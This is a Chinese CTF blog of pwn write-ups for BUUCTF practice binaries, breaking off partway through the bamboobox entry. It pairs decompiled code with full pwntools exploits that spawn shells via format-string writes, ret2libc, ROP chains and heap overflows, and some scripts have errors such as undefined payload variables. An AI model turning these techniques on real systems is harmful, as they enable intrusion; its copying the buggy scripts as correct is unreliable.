(写了七十几题之后开始写这篇博客,前面的不想补啦
wdb_2018_2nd_easyfmt
看题目名字就是格式化字符串的题,先检查保护,32位没开任何保护
➜ wdb_2018_2nd_easyfmt checksec pwn
[*] '/home/starrysky/buuctf/wdb_2018_2nd_easyfmt/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
再反编译看是否是栈上的格式化字符串
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, buf, 0x64u);
printf(buf);
putchar(10);
}
}
确认是栈上的格式化字符串,基本思路就是泄露libc
基址,然后改prinitf
为system
exp如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26003)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'%35$p'
r.sendlineafter(b'Do you know repeater?\n', p)
libc_start_main = int(r.recv(10), 16) - 0xf7
libc = ELF('./libc-2.23.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']
printf = elf.got['printf']
system = libc.sym['system'] + libc_base
sys1 = system & 0xff
sys2 = system >> 8 & 0xffff
p = b'a' * 0x20 + p32(printf) + p32(printf + 1)
r.send(p)
sleep(0.5)
p = '%' + str(sys1) + 'c%14$hhn' + '%' + str((sys2) - (sys1)) + 'c%15$hn'
r.sendline(p)
r.sendline(b'/bin/sh\x00')
r.interactive()
picoctf_2018_leak_me
检查保护
➜ picoctf_2018_leak_me checksec pwn
[*] '/home/starrysky/buuctf/picoctf_2018_leak_me/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
反编译出的主要部分如下
puts("What is your name?");
fgets(v5, 0x100, stdin);
v8 = strchr(v5, '\n');
if ( v8 )
*v8 = '\0';
strcat(v5, ",\nPlease Enter the Password.");
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 0x40, stream);
printf("Hello ");
puts(v5);
fgets(s1, 0x40, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
((void (__cdecl *)(int *))flag)(p_argc);
else
puts("Incorrect Password!");
先创建一个flag.txt
和password.txt
,然后输入0x100
个a
,结果直接输出了password
➜ picoctf_2018_leak_me ./pwn
What is your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,bbb
Incorrect Password!
那就直接打远程,先拿到password
然后直接拿到flag
➜ picoctf_2018_leak_me nc node4.buuoj.cn 29296
What is your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,
a_reAllY_s3cuRe_p4s$word_f85406
a_reAllY_s3cuRe_p4s$word_f85406
flag{f22f5647-b8c8-42e2-b854-f0b8cc9b4399}
输入0x100
个a
会直接报错,所以少输几个也能泄露password
,再输入就去就行了
wdb2018_guess
检查保护,开了canary
➜ wdb2018_guess checksec pwn
[*] '/home/starrysky/buuctf/wdb2018_guess/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
反汇编
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 48uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
if ( !(unsigned int)sub_400A11() )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2);
if ( !strcmp(buf, s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
程序的功能就是判断输入的flag
,在gets
处可溢出但没有输出,因此需要利用canary
的报错来泄露内存
在低版本的glibc
中触发canary
保护会输出__libc_argv[0]
,因此需要利用溢出来覆盖它使得泄露flag
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
所以解题思路就是覆盖__libc_argv[0]
为flag
的地址,计算flag
的地址可以通过泄露libc
中存储栈地址的一个变量environ
,而environ
的地址可以通过libc
计算得到,所以要先通过泄露puts_got
来得到libc_base
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn',28010)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_got = elf.got['puts']
p = b'a' * 0x128 + p64(puts_got)
r.sendlineafter('Please type your guessing flag', p1)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
p = b'a' * 0x128 + p64(environ_addr)
r.sendlineafter('Please type your guessing flag', p2)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
flag_addr = stack_addr - 0x168
p = b'a' * 0x128 + p64(flag_addr)
r.sendlineafter('Please type your guessing flag', p3)
r.interactive()
cmcc_pwnme2
检查保护
➜ cmcc_pwnme2 checksec pwn
[*] '/home/starrysky/buuctf/cmcc_pwnme2/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序中存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[132]; // [esp+0h] [ebp-88h] BYREF
string = 0;
fflush(stdout);
puts("Welcome");
puts("Please input:");
fflush(stdout);
gets(s);
userfunction(s);
return 0;
}
int __cdecl userfunction(char *src)
{
char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF
strcpy(dest, src);
return printf("Hello, %s\n", src);
}
int exec_string()
{
char s; // [esp+Bh] [ebp-Dh] BYREF
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}
char *__cdecl add_home(int a1)
{
char *result; // eax
if ( a1 == 0xDEADBEEF )
{
result = (char *)(strlen(&string) + 0x804A060);
strcpy(result, "/home");
}
return result;
}
char *__cdecl add_flag(int a1, int a2)
{
char *result; // eax
if ( a1 == 0xCAFEBABE && a2 == 0xABADF00D )
{
result = (char *)(strlen(&string) + 0x804A060);
strcpy(result, "/.flag1");
}
return result;
}
题目本意是调用add_home
和add_flag
向string
直接输入文件名之后调用exec_string
读出flag
,但是buu
远程的文件名和程序里的不一样,所以可以直接读入flag.txt
exp如下:
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn',29781)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
exec_string = 0x80485CB
string = 0x804A060
gets = elf.plt['gets']
p = b'a' * (0x6c + 4) + p32(gets) + p32(exec_string) + p32(string)
r.sendlineafter(b'Please input:', p)
r.sendline('flag.txt')
r.interactive()
其次可以直接用ret2libc
来getshell
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_plt = elf.plt['puts']
libc_start_main = elf.got['__libc_start_main']
main = 0x80486F8
pop_ebp_ret = 0x08048680
ret = 0x080483f2
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = b'a' * (0x6c + 4) + p32(puts_plt) + p32(main) + p32(libc_start_main)
r.sendlineafter('Please input:', p)
libc_start_main = u32(r.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
libc_base = libc_start_main - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
p1 = b'a' * (0x6c + 4) + p32(ret) + p32(system) + p32(main) + p32(bin_sh)
r.sendlineafter('Please input:', p1)
r.interactive()
picoctf_2018_got_shell
检查保护
[*] '/home/starrysky/buuctf/picoctf_2018_got_shell/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
反汇编查看
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-110h] BYREF
char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__isoc99_scanf("%x", &v3);
sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
puts(s);
__isoc99_scanf("%x", &v4);
sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
puts(s);
*v3 = v4;
puts("Okay, exiting now...\n");
exit(1);
}
可以直接向一个地址写入内容,还有win
函数,直接改返回地址为win
函数地址即可getshell
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn',26366)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", str(hex(0x804A014)))
r.sendlineafter("Okay, now what value would you like to write to", str(hex(0x804854B)))
r.sendlineafter('Okay, exiting now...', b'cat flag.txt')
r.interactive()
mrctf2020_easy_equation
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h] BYREF
memset(&s, 0, 0x400uLL);
fgets(&s, 0x3FF, stdin);
printf(&s);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}
保护只开了堆栈不可执行,看程序简单计算一下judge
为2
时直接getshell
,存在栈上的格式化字符串,直接用%c
方法会零截断,但是%n
的用法根本上是将%n
之前printf
已经打印的字符个数赋值给偏移处指针所指向的地址位置,那么只要控制n
前字符个数就可以覆盖为一个确定的小数字了
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn',28623)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'aa%9$naaa' + p64(0x060105C)
r.sendline(p)
r.interactive()
npuctf_2020_easyheap
一个堆题没开地址随机化的堆题,分析一下
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Content: ");
read_input(*(_QWORD *)&heaparray[v1]->addr, heaparray[v1]->size + 1);// vuln
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v3;
}
edit
函数中存在一个off-by-one
漏洞,程序中存在一个heaparry
的堆管理,且在edit
和show
的时候都是直接将heaparry
中指向的地址视为目标堆,因此需要控制堆管理
先add
两个堆,实际创建的是四个堆,其中两个用于堆管理,利用off-by-one
改第三个堆大小覆盖掉第四个堆,释放第三个堆之后tcache
中存在两个堆,一个是合并之后的一个是第四个堆,此时再创建一个大小为合并之后的堆时它的堆管理就在第四个堆的位置,而第三个堆又能覆写第四个堆,即能够改写堆管理中的大小和地址
将堆管理中的地址设置成got
表中的一个地址再show
就能得到libc
基址,同理改成__free_hook
之后edit
就能改__free_hook
为system
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn',28422)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter('Your choice :', b'1')
r.sendlineafter('Size of Heap(0x10 or 0x20 only) : ', str(size))
r.sendafter('Content:', content)
def edit(index, content):
r.sendlineafter('Your choice :', b'2')
r.sendlineafter('Index :', str(index))
r.sendafter('Content: ', content)
def show(index):
r.sendlineafter('Your choice :', b'3')
r.sendlineafter('Index :', str(index))
def delete(index):
r.sendlineafter('Your choice :', b'4')
r.sendlineafter('Index :', str(index))
add(0x18, b'a' * 0x18)
add(0x18, b'a' * 0x18)
edit(0, b'a' * 0x18 + b'\x41')
delete(1)
puts_got = elf.got['puts']
add(0x38, b'a' * 0x20 + p64(0x30) + p64(puts_got))
show(1)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x809c0
libc = ELF('libc-2.27.so')
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(0x18, b'a' * 0x18)
add(0x18, b'a' * 0x18)
edit(2, b'/bin/sh\x00'.ljust(0x18, b'a') + b'\x41')
delete(3)
add(0x38, b'a' * 0x20 + p64(0x30) + p64(free_hook))
edit(3, p64(system))
delete(2)
r.interactive()
mrctf2020_shellcode_revenge
可见字符shellcode
,程序中含有可执行段,反编译失败只能看汇编
.text:00000000000011B8 loc_11B8: ; CODE XREF: main+EB↓j
.text:00000000000011B8 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011BB 48 98 cdqe
.text:00000000000011BD 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011C5 3C 60 cmp al, 60h ; '`'
.text:00000000000011C7 7E 11 jle short loc_11DA
.text:00000000000011C7
.text:00000000000011C9 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011CC 48 98 cdqe
.text:00000000000011CE 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011D6 3C 7A cmp al, 7Ah ; 'z'
.text:00000000000011D8 7E 5C jle short loc_1236
.text:00000000000011D8
.text:00000000000011DA
.text:00000000000011DA loc_11DA: ; CODE XREF: main+72↑j
.text:00000000000011DA 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011DD 48 98 cdqe
.text:00000000000011DF 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011E7 3C 40 cmp al, 40h ; '@'
.text:00000000000011E9 7E 11 jle short loc_11FC
.text:00000000000011E9
.text:00000000000011EB 8B 45 FC mov eax, [rbp+var_4]
.text:00000000000011EE 48 98 cdqe
.text:00000000000011F0 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf]
.text:00000000000011F8 3C 5A cmp al, 5Ah ; 'Z'
.text:00000000000011FA 7E 3A jle short loc_1236
输入字符的ascii
码要在(60,74)||(2f,5a)
区间内,因此要将生成的shellcode
转化成可见字符,要利用alpha3
工具
先生成shellcode
from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.sh())
f = open('z.bin', 'wb')
f.write(shellcode)
f.close()
然后克隆github
上的alpha3
并运行生成可见字符
➜ mrctf2020_shellcode_revenge git clone https://github.com/TaQini/alpha3.git
➜ alpha3 git:(master) ✗ python2 ./ALPHA3.py x64 ascii mixedcase rax --input=../z.bin
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t%
将生成的字符直接发送即可
picoctf_2018_can_you_gets_me
反编译之后有很多很长名字IO
什么的的函数且main
函数最后一个是gets
,直接找rop
发送即可:ROPgadget --binary pwn --ropchain
注意加上from struct import pack
并且发送时要先填充完变量和rbp
exp:
from pwn import *
from struct import pack
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
# Padding goes here
p = b''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
r.sendlineafter('GIVE ME YOUR NAME!', b'a' * (0x18 + 4) + p)
r.interactive()
axb_2019_fmt64
检查保护
➜ axb_2019_fmt64 checksec pwn
[*] '/home/starrysky/buuctf/axb_2019_fmt64/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
反汇编看一下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[272]; // [rsp+10h] [rbp-250h] BYREF
char format[312]; // [rsp+120h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+258h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, 0x101uLL);
memset(format, 0, 0x12CuLL);
printf("Please tell me:");
read(0, s, 0x100uLL);
sprintf(format, "Repeater:%s\n", s);
if ( (unsigned int)strlen(format) > 270 )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}
这是一道64位的栈上的格式化字符串,直接改printf
为ogg
即可,需要注意printf
的零截断以及改低位时减去Repeater:
的长度,可以多次输入但每次会将变量置零,因此只能一次性修改
exp:
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn',29275)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = '%83$p'
r.send(p)
r.recvuntil('Repeater:')
libc_base = int(r.recv(14), 16) - 0x20830
libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gadget = one[0] + libc_base
printf = elf.got['printf']
ogg1 = gadget & 0xff
ogg2 = (gadget>>8) & 0xffff
p = b'%' + bytes(str(ogg1 - 9), encoding='utf-8') + b'c%11$hhn' + b'%' + bytes(str(ogg2 - ogg1), encoding='utf-8') + b'c%12$hn'
p = p.ljust(0x18, b'\x00') + p64(printf) + p64(printf + 1)
r.sendafter('Please tell me:', p)
r.interactive()
wustctf2020_easyfast
检查保护,没开地址随机化
➜ wustctf2020_easyfast checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_easyfast/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
delete
函数中存在UAF
漏洞
unsigned __int64 __fastcall delete()
{
__int64 index; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index>");
fgets(s, 8, stdin);
index = atoi(s);
free(buf[index]); // uaf
return __readfsqword(0x28u) ^ v3;
}
存在一个可以直接getshell
的函数,但是要将target
值改成0
__int64 __fastcall show()
{
__int64 result; // rax
if ( target )
LODWORD(result) = puts("Not yet");
else
LODWORD(result) = system("/bin/sh");
return result;
}__int64 __fastcall show()
{
__int64 result; // rax
if ( target )
LODWORD(result) = puts("Not yet");
else
LODWORD(result) = system("/bin/sh");
return result;
}
在这个地址附近能找到两个fake_chunk
,由于edit
函数中只能输入8
个字节因此选择第二个,改fd
为fake_chunk
地址申请出来再edit
将target
改成0
即可通过vuln
函数getshell
pwndbg> find_fake_fast 0x602090
FAKE CHUNKS
Fake chunk | Allocated chunk
Addr: 0x60206a
prev_size: 0x78600007fc46d05
size: 0x40
fd: 0x00
bk: 0x50000000000000
fd_nextsize: 0x00
bk_nextsize: 0x00
Fake chunk | Allocated chunk
Addr: 0x602080
prev_size: 0x00
size: 0x50
fd: 0x00
bk: 0x00
fd_nextsize: 0x7fc46d3e5620
bk_nextsize: 0x00
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size):
r.sendlineafter('choice>', b'1')
r.sendlineafter('size>', str(size))
def delete(index):
r.sendlineafter('choice>', b'2')
r.sendlineafter('index>', str(index))
def edit(index, content):
r.sendlineafter('choice>', b'3')
r.sendlineafter('index>', str(index))
sleep(0.5)
r.send(content)
def vuln():
r.sendlineafter('choice>', b'4')
target = 0x602090
add(0x40)
delete(0)
edit(0, p64(target - 0x10))
add(0x40)
add(0x40)
edit(2, p64(0))
vuln()
r.interactive()
wustctf2020_name_your_cat
检查保护
➜ wustctf2020_name_your_cat checksec pwn
[*] '/home/starrysky/buuctf/wustctf2020_name_your_cat/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题主要考的是逆向读代码,对index
没有限制,虽然开了canary
不能直接溢出但是可以通过数组定位直接任意地址写,v1
是栈上的一个地址,计算其与保存了返回到main
函数的地址的偏移再除以8
即可向返回地址写入,改成shell
函数即可getshell
,但是要把5次循环结束
int __cdecl NameWhich(int v1)
{
int index[4]; // [esp+18h] [ebp-10h] BYREF
index[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", index);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * index[0] + v1);
return index[0];
}
exp:
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get(num, name):
r.sendlineafter('Name for which?', str(num))
r.sendlineafter('Give your name plz: ', name)
shell = 0x80485CB
get(1, b'a')
get(2, b'a')
get(3, b'a')
get(4, b'a')
get(0x7, p32(shell))
r.interactive()
hitcontraining_bamboobox
检查保护:没有开地址随机化
☁ bamboobox checksec pwn
[*] '/home/starrysky/buuctf/bamboobox/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
分析程序:
这是一道2.23-0ubuntu11
的堆题,libc 2.23
中在任意地址写的时候限制写的地址所识别的‘堆’大小与创建大小一致
存后门函数实现orw
,但是buuctf
的远程文件路径大概率不是这个
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}
其他函数主要就是堆的增删改查,bss
段存在堆管理,漏洞点出在edit
函数
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
{
printf("Please enter the length of item name:");// vuln
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
